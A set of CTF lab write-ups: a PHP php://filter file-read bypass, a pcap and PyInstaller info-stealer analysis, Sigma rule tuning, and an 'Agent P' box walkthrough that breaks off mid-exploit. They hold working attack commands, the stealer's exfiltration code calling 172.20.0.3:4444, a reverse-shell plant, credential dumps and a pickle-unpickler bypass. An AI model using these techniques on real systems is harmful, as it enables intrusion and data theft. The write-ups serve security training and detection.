../-style sequences specifically. Confirmed by testing a path with no
traversal characters and no valid extension either:

curl 'http://<MACHINE_IP>/?doc=../app.py'

403 (51 bytes)

A 403 here (Apache-level, not the app's own block message) rather than the
app's "Only .pdf and .png..." text further reinforced that the app's own
filter is keyed on the traversal pattern, not the extension.

Dead Ends

A lot of the standard toolkit came up empty on this box - worth recording
so the useful path stands out:

dirsearch / gobuster against the web root: nothing beyond the default /server-status (403, mod_status present but locked down).
ffuf fuzzing the doc parameter itself against raft-small-words.txt, and fuzzing filenames like flag.pdf, secret.png, id_rsa.pdf, .env.pdf: no hits - none of the "obviously named" files exist under the app's own document directory.
Virtual host fuzzing (Host: FUZZ.thm against a large subdomain wordlist): every single name returned the identical 2593-byte default page - this app has no vhost routing at all, it was a dead end from the start.
TRACE / OPTIONS / HEAD method probing, X-Forwarded-For / X-Original-URL / X-Rewrite-URL header tricks, PHP array-style parameters (doc[]=), duplicate doc= query parameters, and POSTing doc in the body instead of the query string: all either ignored, echoed the default page, or (for the array-style parameter) triggered a generic 500 with no further disclosure.
PNG steganography (zsteg -a important.png, exiftool important.png): extensive automated bit-plane analysis, no coherent hidden data - false-positive "OpenPGP Secret Key" / format matches from zsteg scanning raw pixel noise, not an actual stego payload. important.png was exactly what it looked like.
PDF internals (qpdf --qdf, pdfdetach -list, manual zlib-decompression of every stream, XOR-brute-forcing a suspicious repeating string found in the raw PDF): the "suspicious" string turned out to be JBIG2/image compression artifacts, and every decompressed stream was ordinary image/ICC-profile data. village_schedule.pdf was also exactly what it looked like.

The two served documents and the web root itself were both red herrings by
design - the vulnerability was in how the doc parameter gets consumed, not
in the documents' content.

The Bypass - PHP Stream Wrappers Contain No `../`

Since the block is a blacklist on traversal syntax, anything that reaches
the same file-read function without using ../ slips through untouched.
PHP's php://filter stream wrapper is exactly that: it lets you wrap a
resource=<path> argument in a filter chain (here, base64-encoding it on
the way out) without a single ../ or ..%2f anywhere in the string.
Sent straight at /etc/passwd:

curl 'http://<MACHINE_IP>/?doc=php://filter/read=convert.base64-encode/resource=/etc/passwd'

cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv...

No block message, no 403, no 500 - a clean base64 blob. Decoded directly:

curl 'http://<MACHINE_IP>/?doc=php://filter/read=convert.base64-encode/resource=/etc/passwd' | base64 -d | grep bash

root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

Confirmed arbitrary file read as whatever user Apache/PHP is running as.
This is the whole vulnerability in one line: the traversal blacklist checks
the string for ../, but the value is ultimately handed to a PHP function
that resolves php:// stream wrappers - a completely different, legitimate
PHP feature that was never in the blacklist's scope, and was never meant to
be reachable from user input at all.

Getting the Flag

/home/ubuntu/.ssh and /home/ubuntu/ both returned empty (likely
permission-denied at the OS level for whichever low-privilege user PHP runs
as - a dead end, not a bypass failure). The application's own working
directory was the better target - village_schedule.pdf and
important.png both live directly under /var/www/, so the flag was worth
trying in the same place:

curl 'http://<MACHINE_IP>/?doc=php://filter/read=convert.base64-encode/resource=/var/www/flag.txt' | base64 -d

THM{REDACTED}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Traversal blacklist instead of a real path/extension whitelist	`?doc=<filename>` handler	Blocks `../`-style payloads only; doesn't restrict which file actually gets opened
2	User-controlled value passed unfiltered into a PHP file-read function	`?doc=<filename>` handler	PHP stream wrappers (`php://filter/...`) bypass the blacklist entirely, giving arbitrary file read

Mitigations

Never rely on blacklisting traversal syntax (../, encoded variants, etc.) as a security boundary - validate the resolved value against an actual allowlist of permitted absolute paths (e.g. compare realpath() of the requested file against a fixed, known-good directory).
Explicitly reject any doc value containing a :// scheme separator before it ever reaches a file-read function - PHP stream wrappers (php://, phar://, data://, expect://, and others) are a well-known class of filter/whitelist bypass and should never be reachable from unsanitized user input.
Serve user-selectable documents by an internal ID or a strict allowlisted filename map ({"village_schedule": "village_schedule.pdf", "important": "important.png"}) rather than passing user input into a filesystem or stream-wrapper call at all - this removes the bypass surface entirely rather than trying to filter it.
Run the web application as a minimally-privileged user with read access to nothing outside its own document root, so that even a successful arbitrary-file-read bug can't reach /etc/passwd, SSH keys, or other sensitive host files.

Casino Heist - Network Forensics / Malware Analysis Writeup

Challenge file: stolen_jackpot.pcapng (701 packets, ~71.9s capture, 20MB)
Category: PCAP forensics + PyInstaller reverse engineering
Flag: THM{REDACTED}

Summary

The capture shows recon against a small web app (/admin, /cms, /flag all 404), followed by a
successful GET /stealer that downloads a 20MB ELF binary. That binary is a Python info-stealer
packaged with PyInstaller. Extracting and disassembling it revealed hardcoded AES-CBC key/IV
material and exfiltration logic that walks /home for any file ending in .jackpot, encrypts it,
and ships it out over a raw TCP socket. Two short follow-up connections later in the capture are
that exact exfiltration in action - following one of those streams and decrypting with the key/IV
pulled from the binary recovers the flag.

Recon of the capture

Started with the basics - just getting oriented before looking at any actual traffic content:

capinfos stolen_jackpot.pcapng

Number of packets:   701
Capture duration:    71.850694232 seconds
Data size:           20 MB
Data byte rate:      286 kBps
Average packet size: 29399.47 bytes

Not much to conclude yet - 701 packets over ~72 seconds, 20MB total, and a fairly large average
packet size (normal traffic chatter tends to run smaller; this hints that some packets are large,
but nothing here says what they contain or which protocol they belong to).

tshark -r stolen_jackpot.pcapng -q -z io,phs

eth                frames:701 bytes:20609026
  arp              frames:22 bytes:924
  ip               frames:679 bytes:20608102
    tcp            frames:661 bytes:20606338
      http         frames:8 bytes:55145
        data-text-lines  frames:3 bytes:1605
        data             frames:1 bytes:52890
    icmp           frames:18 bytes:1764

This is a byte-count breakdown by protocol layer, not a list of transactions. It says: almost all
20MB of the capture is tcp traffic (ARP and ICMP are negligible), but only 55KB of that gets
classified further down as http by Wireshark's dissector - and only 1 frame of that shows up as a
generic data object (52.9KB). That's a big gap: ~20.6MB of TCP payload total, but only ~55KB
attributed to HTTP. The likely reason is TCP segmentation and reassembly - when an HTTP response
body spans many TCP segments, Wireshark only classifies the final reassembled frame as http/
data; the individual segments that make it up are just counted as plain tcp. At this point
that's a plausible explanation for the gap, not a confirmed one - it doesn't yet tell us there's a
large file download, just that there's a lot of TCP payload that isn't showing up as HTTP.

HTTP requests in the capture

To actually see what's happening at the HTTP level rather than just byte totals, filtered directly
on http:

tshark -r stolen_jackpot.pcapng -Y http -T fields \
  -e frame.number -e ip.src -e ip.dst \
  -e http.request.method -e http.request.uri \
  -e http.response.code -e http.content_type

22   172.20.0.1 → 172.20.0.2   GET /admin      →  404
34   172.20.0.1 → 172.20.0.2   GET /cms        →  404
46   172.20.0.1 → 172.20.0.2   GET /flag       →  404
76   172.20.0.1 → 172.20.0.2   GET /stealer    →  200  application/octet-stream

This is the first point where the traffic actually tells a story: 172.20.0.1 is probing a handful
of common paths against a server at 172.20.0.2:8080 - /admin, /cms, /flag all come back
404 - and then a fourth request, GET /stealer, gets a 200 with content type
application/octet-stream. That's a real file being served, and it's the only successful request
in the whole capture, so it's the obvious next thing to pull out and look at.

Extracting the binary

tshark -r stolen_jackpot.pcapng --export-objects http,objects

ls -la objects/

-rw-r--r-- 1 root root      469 stealer_extracted... admin
-rw-r--r-- 1 root root      469 cms
-rw-r--r-- 1 root root      469 flag
-rw-r--r-- 1 root root 20559968 stealer

The /admin, /cms, /flag responses are all tiny (469 bytes - just generic 404 pages). stealer
is 20,559,968 bytes - which is where that earlier gap between "20.6MB of TCP payload" and "55KB of
HTTP" actually gets explained: this one file accounts for essentially the entire size of the
capture. That confirms what the protocol hierarchy stats only hinted at - the bulk of this capture
is the download of this one binary, carried across hundreds of individual TCP segments that
reassemble into a single large HTTP response.

file objects/stealer

stealer: ELF 64-bit LSB executable, x86-64, ... dynamically linked, ... stripped

strings -a stealer | grep -i python

PyRun_SimpleStringFlags
LOADER: failed to allocate argv array for execvp!
pyi-python-flag
libpython3.10.so.1.0

The PyRun_SimpleStringFlags / LOADER: / pyi-python-flag strings are the signature of a
PyInstaller onefile bundle - this "ELF binary" is really a packaged Python 3.10 script plus a
bundled interpreter and dependencies (20MB tracks with a full Python runtime being embedded).

Unpacking with pyinstxtractor-ng

pyinstxtractor-ng stealer

[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Found 198 files in CArchive
[+] Possible entry point: stealer.pyc
[+] Found 666 files in PYZ archive
[+] Successfully extracted pyinstaller archive: stealer

stealer.pyc in stealer_extracted/ is the actual malware entry point (everything else is the
bundled Python stdlib/runtime and third-party packages like pycryptodome).

Reading the bytecode

Standard decompilers (decompyle3, uncompyle6) don't support Python 3.10 bytecode yet, so this
was read directly via xdis's disassembler instead of trying to recover exact source:

import xdis
xdis.disassemble_file('stealer_extracted/stealer.pyc')

The disassembly reconstructs cleanly enough to read as pseudocode. Module-level constants:

KEY  = b'J4ckp0tH4ck3rKey'      # 16 bytes -> AES-128 key
IV   = b'Iv_For_Exf1ltr8!'      # 16 bytes -> AES CBC IV
HOST = '172.20.0.3'
PORT = 4444

And the run() function's logic:

def run():
    if socket.gethostname() != 'b0x':
        raise SystemExit                      # a basic sandbox/VM check

    for root, _, files in os.walk('/home'):
        for f in files:
            if f.endswith('.jackpot'):
                data = open(os.path.join(root, f), 'rb').read()
                enc  = AES.new(KEY, AES.MODE_CBC, IV).encrypt(pad(data, 16))
                s = socket.socket()
                s.connect((HOST, PORT))
                s.sendall(f.encode() + b'\n' + enc)
                s.close()

So the malware: walks /home for files ending in .jackpot, AES-CBC-encrypts each one with a
hardcoded key/IV, and exfiltrates filename\n<ciphertext> over a plain TCP socket to
172.20.0.3:4444.

Finding and decrypting the exfiltration

Two short TCP streams later in the capture connect out to 172.20.0.3:4444 - exactly matching the
malware's exfil behavior:

682  172.20.0.1 → 172.20.0.3   TCP  49496 → 4444 [SYN]
685  172.20.0.1 → 172.20.0.3   TCP  [PSH, ACK] Len=61
690  172.20.0.1 → 172.20.0.3   TCP  49500 → 4444 [SYN]
693  172.20.0.1 → 172.20.0.3   TCP  [PSH, ACK] Len=29

Two attempts (the second, shorter one is likely a smaller/retry payload); the first carries the
full flag file. Following that TCP stream in raw hex:

tshark -r stolen_jackpot.pcapng -q -z follow,tcp,raw,4

666c61672e6a61636b706f740a9bcc341f8374f7d031a5a0ee4663501313b15466b184e33a3f295efd0cd1b4f5c64b48dd831bbca7ec4423e3782f8fe5

Splitting on the first 0a (newline) byte separates the filename from the ciphertext:

666c61672e6a61636b706f740a  -> "flag.jackpot\n"
9bcc341f...8fe5              -> 48-byte AES-CBC ciphertext

Decrypting with the key/IV recovered from the binary:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY = b'J4ckp0tH4ck3rKey'
IV  = b'Iv_For_Exf1ltr8!'

raw = bytes.fromhex("666c61672e6a61636b706f740a9bcc341f8374f7d031a5a0ee4663501313b"
                     "15466b184e33a3f295efd0cd1b4f5c64b48dd831bbca7ec4423e3782f8fe5")
nl = raw.index(b'\n')
fname, enc = raw[:nl].decode(), raw[nl+1:]

cipher = AES.new(KEY, AES.MODE_CBC, IV)
print(unpad(cipher.decrypt(enc), 16))

b'THM{REDACTED}'

Flag

THM{REDACTED}

Notes / Takeaways

The malware's "encryption" only protects the data in transit against a passive observer who doesn't have the sample - once the binary itself is captured (as it was here, served in plaintext HTTP), the hardcoded key/IV completely defeats the scheme. Hardcoded symmetric keys inside a distributable binary are never actually secret.
The socket.gethostname() != 'b0x' check is a weak anti-analysis / targeting gate (only runs its payload on a host named b0x) - trivially bypassed by renaming the analysis VM, or in this case irrelevant since we're statically reading the bytecode rather than executing it.
PyInstaller-packed samples are common in commodity stealers because they're easy to build and the resulting binary looks like a generic stripped ELF at a glance; strings for pyi-python-flag/PyRun_SimpleStringFlags is a fast way to fingerprint them, and tools like pyinstxtractor-ng make recovering the original .pyc straightforward even without a working decompiler for the exact bytecode version.

TryHackMe: Fresh Powder - Detection Engineering Writeup

Scenario: TSS CSIRT investigated a ransomware precursor intrusion against Cascadia Ski and Resort Collective, a three-property ski/hospitality group (Snowridge, Alderpeak, Timberline) sharing one IT backbone. The intrusion is attributed to POWDER WOLF, an eCrime cluster known for using stolen remote access credentials against hospitality infrastructure, with tooling overlap against LockBit/Akira affiliate playbooks. The attack ran the full kill chain - initial access through ransomware staging - and was only caught at the staging step, before encryption, via investigation rather than any alert. Five detections were opened as pull requests in a Detection-as-Code (Sigma) repository, one per kill chain phase, each shipped deliberately broken. The task: understand the attack, tune each rule against the real environment, and get all five merged.

Pipeline: every PR runs Sigma Syntax Check → Converter (sigma convert -t splunk) → Environment Validation (scored against a real answer key in Splunk) → Automated Red Team Test (adversarial bypass attempts) → peer approval → merge.

PR #1 - External RDP Logon From an Untrusted Source Grants Administrative Access

Technique: T1133/T1078 · Flag: (not captured in this writeup - merged first)

Root cause: the original exclusion filter (IpAddress|startswith: '203.0.113.') excluded the attacker's own source range, not Cascadia's legitimate traffic - an inverted allowlist that would silently ignore the real intrusion.

Fix: rebuilt the exclusion logic from docs/environment-routines.md's three real routines - internal admin hops (10.40.0.0/16, IP-only), the VPN pool (10.90.0.0/16, IP and one of three named accounts), and SummitDesk MSP maintenance (198.51.100.0/24, IP and the paired service account). Both the VPN and MSP filters required pairing IP range with account, since the doc explicitly warned the range alone doesn't confirm legitimacy for either.

Red Team bypass: rule only caught LogonType 10 (fresh interactive), missing session resume via LogonType 7 (Unlock) from the same untrusted source. Fixed by adding both logon types to selection.

detection:
  selection:
    EventID: 4624
    LogonType: ['10', '7']
  filter_internal_hop:
    IpAddress|startswith: '10.40.'
  filter_vpn_authorized_staff:
    IpAddress|startswith: '10.90.'
    TargetUserName: ['r.doyle', 'k.nakamura', 'p.okonkwo']
  filter_summitdesk_msp:
    IpAddress|startswith: '198.51.100.'
    TargetUserName: 'svc_summitdesk_support'
  condition: selection and not (filter_internal_hop or filter_vpn_authorized_staff or filter_summitdesk_msp)

PR #2 - NetScan Enumerates Writable Administrative Shares via a Delete.me Access Test

Technique: T1046/T1135 · Flag: THM{REDACTED}

Root cause: the rule checked ShareName|endswith: 'delete.me'. ShareName holds the share path itself (e.g. \\DC-CSRC01\C$); the object accessed within the share is a separate field, RelativeTargetName. Checking the wrong field meant the rule silently matched nothing.

Fix:

detection:
  selection:
    EventID: 5145
    RelativeTargetName|endswith: 'delete.me'
  condition: selection

No exclusion filter was needed - nothing in environment-routines.md legitimately produces this artifact.

PR #3 - Remote Access Tool Installed as a Service on Server Infrastructure

Technique: T1543.003 · Flag: THM{REDACTED}

Root cause, in layers:

Image|endswith: '\AnyDesk.exe' referenced a process-creation field for what is actually a service install event (EventID 7045) - Environment Validation scored 0%.
No host-tier filter - AnyDesk-as-a-service is legitimate on workstations (SNW-PC*/ALD-PC*/TBL-PC*) per the environment doc, illegitimate on servers.
Once pointed at the right event, ServiceFileName|endswith: '\AnyDesk.exe' still scored 0% - ground truth in Splunk showed the real value is ...\AnyDesk.exe --service, which doesn't end with the exe path because of the trailing flag. Needed contains, not endswith.
Red Team Test bypassed an AnyDesk-only rule using ScreenConnect and TeamViewer - same technique, different tool.

Fix:

detection:
  selection:
    EventID: 7045
    ServiceFileName|contains: ['AnyDesk.exe', 'ScreenConnect', 'TeamViewer']
  filter_workstation_class:
    ComputerName|startswith: ['SNW-PC', 'ALD-PC', 'TBL-PC']
  condition: selection and not filter_workstation_class

Lesson: don't trust a field name that merely sounds plausible from the incident narrative - verify against raw Splunk ground truth (sourcetype, actual populated fields) before assuming.

PR #4 - 7-Zip Archives Data Directly From a Live Network Share

Technique: T1560.001/T1567 · Flag: THM{REDACTED}

Root cause: CommandLine|contains: '-p' - the real attacker command line never used a -p flag at all; the actual anomaly is archiving straight out of a live UNC share.

Debugging detour: attempts to match a literal double-backslash ('\\', '\\\\') all converted to the same single-backslash SPL pattern (CommandLine="*\\*"), which matched almost any Windows path and produced 24 false positives (an unrelated, undocumented recurring "shared backup" job across many hosts). Confirmed by reproducing the pipeline's exact generated SPL directly in Splunk and inspecting the false-positive events. Sidestepped the unreliable escaping by matching a specific, unambiguous host+share substring instead of a generic UNC prefix.

Red Team bypasses closed:

WinRAR / Rar as alternate archivers
PowerShell's Compress-Archive (no external binary)
7-Zip binary renamed to an innocuous filename - fixed by matching on OriginalFileName (embedded PE metadata) instead of Image path
Generalizing past FS-RESV01 to other server-tier shares (BKP-CSRC01, etc.)

Fix:

detection:
  selection_archiver_tools:
    OriginalFileName: ['7z.exe', '7zFM.exe', '7zG.exe', 'WinRAR.exe', 'Rar.exe']
    CommandLine|contains:
 - 'FS-RESV01\'
 - 'BKP-CSRC01\'
 - 'DC-CSRC01\'
 - 'DC-CSRC02\'
 - 'DC-CSRC03\'
 - 'HV-CSRC01\'
  selection_ps_tool:
    Image|endswith: '\powershell.exe'
    CommandLine|contains: 'Compress-Archive'
  selection_ps_share:
    CommandLine|contains:
 - 'FS-RESV01\'
 - 'BKP-CSRC01\'
 - 'DC-CSRC01\'
 - 'DC-CSRC02\'
 - 'DC-CSRC03\'
 - 'HV-CSRC01\'
  filter_monthly_export:
    ParentImage|endswith: '\wscript.exe'
    CommandLine|contains: 'ReservationsExport_'
  condition: (selection_archiver_tools or (selection_ps_tool and selection_ps_share)) and not filter_monthly_export

PR #5 - Lynx Ransomware Payload Executed With Distinctive Encryption Flags

Technique: T1486 · Flag: THM{REDACTED}

Root cause, in layers:

ParentImage|endswith: '\services.exe' - the real indicator shows ParentImage: cmd.exe, not services.exe.
Needed to exclude the legitimate DiskOptimizer.exe nightly job, which uses the same --dir/--mode fast flags.
First fix anchored selection on Image|endswith: '\w.exe' plus the flags, and excluded DiskOptimizer by install path + OriginalFileName together - but Red Team Test bypassed this: a payload renamed to DiskOptimizer.exe and dropped at the exact legitimate install path never matched selection in the first place (it doesn't end with \w.exe), so it skipped the filter stage entirely.

Final fix: stopped anchoring selection on any filename - key purely on the distinctive, attacker-controlled flags, and exclude the legitimate tool using only its embedded OriginalFileName metadata (harder to spoof than an install path):

detection:
  selection:
    CommandLine|contains|all: ['--dir', '--mode fast']
  filter_diskoptimizer:
    OriginalFileName: 'DiskOptimizer.exe'
  condition: selection and not filter_diskoptimizer

Lesson: an exclusion filter is only as strong as its least-spoofable field. A path-based exclusion is trivially defeated by an attacker who's already mapped the environment (which POWDER WOLF had, via the NetScan/NetExec sweeps); embedded PE metadata is a meaningfully higher bar.

Overall lessons across all five PRs

Verify fields against raw data, don't trust the incident narrative's plain-English field names. Multiple rules failed because a field referenced in selection (ShareName, ServiceFileName+endswith, Image+services.exe) sounded right but wasn't what was actually populated in the real Splunk events.
Every exclusion filter needs to be built from environment-routines.md, not assumed. The original PR #1 bug (excluding the attacker's own IP) is the clearest example of building a filter from something that merely looked like a "known" value.
The Automated Red Team Test consistently punished over-fitting to one sample artifact - a single tool name, a single file server, a single filename, a single logon type. Every rule needed to generalize from "this one indicator" to "the underlying technique" to pass.
Prefer the least-spoofable field for both selection and exclusion. OriginalFileName (embedded PE metadata) beat Image (process path) and install-path-only filters every time an attacker could plausibly rename or relocate a binary.
Don't trust automatic backslash/escaping behavior blindly - when a Sigma modifier's generated SPL doesn't behave as expected, reproduce the pipeline's exact generated query directly in the SIEM to see real matching events before respecifying syntax blindly.

Appendix - Final files to paste

Complete final YAML for each rule, ready to paste into Files changed, with a one-line FIX summary after each. Flags redacted.

PR #1 - `rules/rdp_untrusted_source_logon.yml`

title: External RDP Logon From an Untrusted Source Grants Administrative Access
id: fc14f8ac-c4d3-4071-b717-c2b85dc463d2
status: experimental
description: Detects an interactive RDP logon on any host in the estate from a source outside Cascadia's known internal, VPN, and vendor routines, consistent with POWDER WOLF's initial access tradecraft.
author: morgan-reyes
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType:
 - '10'
 - '7'
  filter_internal_hop:
    IpAddress|startswith: '10.40.'
  filter_vpn_authorized_staff:
    IpAddress|startswith: '10.90.'
    TargetUserName:
 - 'r.doyle'
 - 'k.nakamura'
 - 'p.okonkwo'
  filter_summitdesk_msp:
    IpAddress|startswith: '198.51.100.'
    TargetUserName: 'svc_summitdesk_support'
  condition: selection and not (filter_internal_hop or filter_vpn_authorized_staff or filter_summitdesk_msp)

FIX: Replaced the inverted allowlist (excluded the attacker's own IP block instead of Cascadia's legitimate ranges) with real exclusions from environment-routines.md. Added LogonType 7 (Unlock) alongside 10 to catch session-resume bypass.

PR #2 - `rules/netscan_share_writetest.yml`

title: NetScan Enumerates Writable Administrative Shares via a Delete.me Access Test
id: 9ab1b326-e9e3-4b6b-b4c2-81857d774b0b
status: experimental
description: Detects file share object access checks referencing a delete.me marker file, consistent with a network scanning tool testing write access across every discovered administrative share, part of POWDER WOLF's discovery phase following initial access.
author: morgan-reyes
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    RelativeTargetName|endswith: 'delete.me'
  condition: selection

FIX: Corrected field from ShareName (the share path) to RelativeTargetName (the actual object accessed). No exclusion filter needed.

PR #3 - `rules/remote_access_service_persistence.yml`

title: Remote Access Tool Installed as a Service on Server Infrastructure
id: 6e4f2418-b99a-4df2-868f-fe4086055996
status: experimental
description: Detects a remote access application installed as a Windows service on server tier infrastructure, where Cascadia's own helpdesk only ever deploys these tools on end user workstations, consistent with POWDER WOLF's persistence tradecraft on the domain controller.
author: morgan-reyes
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 7045
    ServiceFileName|contains:
 - 'AnyDesk.exe'
 - 'ScreenConnect'
 - 'TeamViewer'
  filter_workstation_class:
    ComputerName|startswith:
 - 'SNW-PC'
 - 'ALD-PC'
 - 'TBL-PC'
  condition: selection and not filter_workstation_class

FIX: Switched from process-creation Image to the real service-install event (EventID 7045) and ServiceFileName|contains (not endswith, due to a trailing --service flag). Added workstation-class exclusion and expanded beyond AnyDesk to ScreenConnect/TeamViewer.

PR #4 - `rules/sevenzip_share_archive_collection.yml`

title: Archiving Tool Compresses Data Directly From a Live Network Share
id: 2a3f3da0-0725-4ef1-a857-05fcf21b0f8c
status: experimental
description: Detects an archiving operation (7-Zip, WinRAR, or PowerShell's Compress-Archive) whose command line references a share path on server tier infrastructure directly, rather than local user documents, consistent with POWDER WOLF's collection staging ahead of exfiltration.
author: morgan-reyes
logsource:
  product: windows
  category: process_creation
detection:
  selection_archiver_tools:
    OriginalFileName:
 - '7z.exe'
 - '7zFM.exe'
 - '7zG.exe'
 - 'WinRAR.exe'
 - 'Rar.exe'
    CommandLine|contains:
 - 'FS-RESV01\'
 - 'BKP-CSRC01\'
 - 'DC-CSRC01\'
 - 'DC-CSRC02\'
 - 'DC-CSRC03\'
 - 'HV-CSRC01\'
  selection_ps_tool:
    Image|endswith: '\powershell.exe'
    CommandLine|contains: 'Compress-Archive'
  selection_ps_share:
    CommandLine|contains:
 - 'FS-RESV01\'
 - 'BKP-CSRC01\'
 - 'DC-CSRC01\'
 - 'DC-CSRC02\'
 - 'DC-CSRC03\'
 - 'HV-CSRC01\'
  filter_monthly_export:
    ParentImage|endswith: '\wscript.exe'
    CommandLine|contains: 'ReservationsExport_'
  condition: (selection_archiver_tools or (selection_ps_tool and selection_ps_share)) and not filter_monthly_export

FIX: Replaced the meaningless -p flag check with server-hostname substring matching (double-backslash UNC matching proved unreliable in the converter). Added OriginalFileName matching (defeats renaming), WinRAR/Rar, and PowerShell's Compress-Archive.

PR #5 - `rules/lynx_ransomware_deployment.yml`

title: Lynx Ransomware Payload Executed With Distinctive Encryption Flags
id: fef37376-5b9b-4ada-b67b-2ce4d9177323
status: experimental
description: Detects execution of a payload using the Lynx ransomware's distinctive command line flags controlling target drive, encryption speed, and verbosity, consistent with POWDER WOLF's fleet wide deployment staging.
author: morgan-reyes
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    CommandLine|contains|all:
 - '--dir'
 - '--mode fast'
  filter_diskoptimizer:
    OriginalFileName: 'DiskOptimizer.exe'
  condition: selection and not filter_diskoptimizer

FIX: Corrected ParentImage (was services.exe, real value is cmd.exe). Dropped the filename anchor (\w.exe) entirely so a renamed/relocated payload can't skip the filter stage; keyed selection purely on the distinctive flags and excluded the legitimate tool using only its embedded OriginalFileName.

TryHackMe - Agent P

Summary

Agent P is a multi-stage Linux box themed around Doofenshmirtz Evil Incorporated. The
intended path chains four distinct vulnerability classes across four user contexts. An
unauthenticated WordPress REST API batch-route confusion SQLi (CVE-2026-63030) on a
WordPress 6.9 install creates a pre-auth administrator account, which is then abused
via the Theme File Editor to land a reverse shell as www-data. A custom
infrastructure accounts table in the WordPress database leaks SSH credentials for
norm, whose evilinc group membership allows reading a panel config file containing
an operator secret. That secret authenticates to an internal Flask app on port 8700
whose pickle deserialization endpoint is protected by a restricted unpickler - bypassed
using pydoc.locate to reach os.system without touching any blocked module name.
This yields a shell as vanessa, who has write access to the C2 implant's task socket.
The implant authenticates tasks via HMAC-SHA256, where the signing key is derived from
an XOR-obfuscated 32-byte seed (decrypted using the LCPRNG keystream hardcoded in
.rodata) combined with the system's machine-id. Reverse-engineering the key
derivation and forging a valid exec|chmod u+s /bin/bash task grants SUID bash and
root access.

Flags

Flag	Location
User 1 (norm)	`/home/norm/user.txt`
User 2 (vanessa / operator)	`/home/vanessa/operator.txt`
Root	`/root/root.txt`

Recon

nmap -A -Pn <MACHINE-IP> -o nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.9

Two ports only. WordPress 6.9 on port 80 - immediately interesting since 6.9 is
flagged as insecure by wpscan.

wpscan --url http://<MACHINE-IP> --api-token <TOKEN> -e vp,vt,u

Key findings from wpscan:

WordPress 6.9 (insecure)
CVE-2026-63030: REST API batch-route confusion and SQLi to RCE (fixed in 6.9.5)
CVE-2026-60137: Facilitated SQLi (fixed in 6.9.5)
Upload directory listing enabled
XML-RPC enabled
One user identified: heinz

Initial Access - WordPress CVE-2026-63030 (REST Batch SQLi to Admin Creation)

WordPress 6.9 is vulnerable to a REST API batch-route path confusion bug that allows
unauthenticated SQL injection via a crafted multi-route batch request. The
wp2shell PoC automates this into a
pre-auth admin-creation-to-RCE chain.

Confirming the target is vulnerable:

python3 wp2shell.py check http://<MACHINE-IP>/wp-trackback.php

[*] WordPress markers found (wp-json)
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE - batch route-confusion behavior detected.

Launching the interactive shell mode to trigger the pre-auth admin creation chain:

python3 wp2shell.py shell http://<MACHINE-IP>/ -i

[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
[+] Administrator created: wp2_a5fdae0313e0
[+]     email:    wp2_a5fdae0313e0@wp2shell.invalid
[+]     password: Wp2!RCFKphx2aSGoImuyytie

The plugin-upload step times out due to outbound restrictions, so the RCE path shifts
to the Theme File Editor, which is accessible once logged in as the newly created admin.

Navigating to Appearance > Theme File Editor > Twenty Twenty-Five > patterns > contact-info-locations.php and replacing the file content with a PentestMonkey PHP
reverse shell payload:

<?php
set_time_limit(0);
$ip = '<ATTACKER-IP>';
$port = 4444;
// ... standard reverse shell payload
?>

Starting the listener and triggering execution by visiting:

http://<MACHINE-IP>/wp-content/themes/twentytwentyfive/patterns/contact-info-locations.php

[+] [New Reverse Shell] => tryhackme-2404 <MACHINE-IP> Linux-x86_64 www-data(33)

Lateral Movement - www-data to norm

WordPress Database Credential Extraction

cat /var/www/html/wp-config.php | grep DB_

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'wp_WjURfdI' );

Enumerating the WordPress database revealed a non-standard table:

mysql -u wpuser -p'wp_WjURfdI' wordpress -e "SHOW TABLES;"

+-----------------------+
| wp_infra_accounts     |  <-- non-default, custom table
+-----------------------+

mysql -u wpuser -p'wp_WjURfdI' wordpress -e "SELECT * FROM wp_infra_accounts;"

+-----------+---------------------+-------------------------------------------------+
| host_user | host_pass           | note                                            |
+-----------+---------------------+-------------------------------------------------+
| norm      | N0rm_th3_r0b0t_2026 | ssh sync target for the -inator newsletter cron |
+-----------+---------------------+-------------------------------------------------+

Password reuse on the local account:

su norm   # password: N0rm_th3_r0b0t_2026

User Flag 1

norm@tryhackme-2404:~$ cat /home/norm/user.txt
EVILINC{REDACTED}

Internal Service Discovery

Enumerating open ports from inside the box:

ss -tulnp

tcp  LISTEN  127.0.0.1:8700   <-- previously invisible from external scan
tcp  LISTEN  127.0.0.1:3306

Port 8700 is a Gunicorn/Flask app running as vanessa: the "Evil Inc. -inator Control
Panel." Its landing page shows two API routes: POST /api/login (exchange a secret for
an operator token) and POST /api/blueprints/import (deserialize a base64 pickle
blueprint).

Lateral Movement - norm to vanessa

Operator Secret Extraction

norm is a member of the evilinc group:

id
uid=1001(norm) gid=1002(norm) groups=1002(norm),1001(evilinc)

/etc/evilinc/panel.conf is readable by evilinc group members:

cat /etc/evilinc/panel.conf

[panel]
operator_secret = b3hind_sch3dul3_th1s_m0nth

Authenticating to the internal panel:

curl -s -c cookies.txt -X POST http://127.0.0.1:8700/api/login \
  -d "secret=b3hind_sch3dul3_th1s_m0nth"

{"ok":true}

Pickle Deserialization - Restricted Unpickler Bypass

The /api/blueprints/import endpoint accepts a base64-encoded pickle, but passes
it through a restricted_unpickler.py module that blocks common modules by name
(os, posix, subprocess, builtins, operator, etc.).

The bypass uses pydoc.locate(), which resolves dotted names like "os.system"
to the actual function object at unpickle time. Since pydoc itself is not
blocklisted, this sidesteps the restriction entirely:

import pickle, base64, pydoc

class GetSystemFunc:
    def __call__(self, *a, **kw):
        pass
    def __reduce__(self):
        return (pydoc.locate, ('os.system',))

class Exploit:
